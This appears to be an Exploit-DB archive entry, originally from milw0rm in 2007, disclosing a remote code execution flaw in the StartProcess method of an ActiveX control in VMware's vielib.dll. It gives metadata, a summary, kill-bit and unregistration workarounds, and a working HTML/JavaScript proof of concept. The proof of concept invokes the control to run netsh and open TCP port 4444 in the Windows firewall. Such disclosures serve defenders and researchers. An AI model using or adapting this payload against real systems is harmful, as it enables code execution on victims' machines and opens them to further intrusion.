vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit

vendor:

Vmware

by:

callAX, GoodFellas Security Research Team

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Vmware

Affected Version From: 2.2.5.42958

Affected Version To: 2.2.5.42958

Patch Exists: NO

Related CWE:

CPE: vmware:vielib:2.2.5.42958

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP1/SP2 french/english with IE 6.0 / 7.0

2007

vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit

The StartProcess method in vielib.dll in Vmware Version 6.0.0 does not check if it's being called from the application or by malicious users. This allows remote attackers to execute arbitrary code in a remote system with the actual user privileges.

Mitigation:

Activate the Kill bit zero in clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529, Unregister vielib.dll using regsvr32

Source

Exploit-DB raw data:

:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

vielib.dll 2.2.5.42958 VmWare Inc version 6.0.0 Remode Code Execution Exploit
=============================================================================

Internal ID: VULWAR200707290.
-----------

Introduction
------------
vielib.dll is a library included in the Program Vmware Version 6.0.0 from Vmware Inc. Company.


Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------
The StartProcess method doesn't check if it's being called from the application,
or malicious users. Remote Attacker could craft a html page and execute code in
a remote system with the actual user privileges.


Impact
------
Any computer that uses this Sofware will be exposed to Remote Execution Code.


Workaround
----------
- Activate the Kill bit zero in clsid:7B9C5422-39AA-4C21-BEEF-645E42EB4529
- Unregister vielib.dll using regsvr32.


Timeline
--------
July 29 2007 -- Bug Discovery.
July 29 2007 -- Exploit published.


Credits
-------
 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>
 

Technical Details
-----------------

StartProcess method needs three files (stdin, stdout, stderr) to success StartProcess. The exploit
is using three standard files that exists in every Microsoft Office 2003 Application.


<HTML>
<BODY>
  <object id=ctrl classid="clsid:{7B9C5422-39AA-4C21-BEEF-645E42EB4529}"></object>
<SCRIPT>

function Poc() {
 arg1 = "C:\\windows\\system32\\netsh.exe"
 arg2 = "C:\\windows\\system32\\netsh.exe firewall add portopening tcp 4444 GotIT"
 arg3 = "C:\\windows\\system32\\"
 arg4 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseneu.txt"
 arg5 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseeng.txt"
 arg6 = "C:\\Program Files\\Microsoft Office\\OFFICE11\\noiseenu.txt"
 arg7 = "1"
 ctrl.StartProcess(arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7)
 }

</SCRIPT>
<input language=JavaScript onclick=Poc() type=button value="Proof of Concept">
</BODY>
</HTML>

# milw0rm.com [2007-07-29]